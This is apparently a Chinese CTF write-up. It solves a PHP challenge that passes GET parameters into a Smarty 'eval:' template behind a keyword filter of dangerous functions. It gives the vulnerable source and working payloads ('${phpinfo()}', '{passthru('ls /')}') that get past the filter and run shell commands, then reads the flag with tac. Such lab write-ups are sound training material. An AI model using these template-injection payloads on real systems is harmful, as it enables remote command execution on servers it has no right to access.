打开题目,提示输入参数
随便传入一个参数之后,网页中显示出源码
pass a parameter and maybe the flag file's filename is random :> <?phpinclude('./libs/Smarty.class.php');echo "pass a parameter and maybe the flag file's filename is random :>";$smarty = new Smarty();if($_GET){highlight_file('index.php');foreach ($_GET AS $key => $value){print $key."\n";if(preg_match("/flag|\/flag/i", $value)){$smarty->display('./template.html');}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){$smarty->display('./template.html');}else{$smarty->display("eval:".$value);}}}?>a
程序过滤了flag以及一堆php函数,template.html中也没有什么信息。
那么利用点只能在最后一个ifelse分支中。
看到有个$smarty变量,里面是Smarty对象,猜想应该是Smarty的漏洞,但是查找了相关漏洞后发现并没有办法使用。
最后看了大佬wp,才发现根本用不着漏洞,只是使用php复杂变量即可。
传入?a=${phpinfo()},看到页面回显
那么接下来只需要绕过php函数的过滤,使用其他函数执行命令,经过一番查找,发现passthru符合要求。
payload:
?a={passthru('ls /')}
得到
第一个文件很可疑,使用tac命令读取后得到flag
